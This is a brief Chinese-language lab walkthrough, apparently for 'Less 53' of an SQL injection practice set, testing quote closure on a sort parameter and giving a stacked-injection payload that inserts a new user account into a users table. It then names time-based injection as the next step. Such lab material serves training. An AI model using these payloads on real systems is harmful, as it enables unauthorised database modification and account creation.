Less（53）

1.单引号闭合

　　?sort=1'

　　

 

　　　　没有报错

 　　?sort=1"

　　

 

 2.报错信息不会在前台显示，我们采用 stacked injection 方法 :?sort=1';insert into users(id,username,password) value (21,'less53','less53')--+　

　　　　

 

 3.延迟注入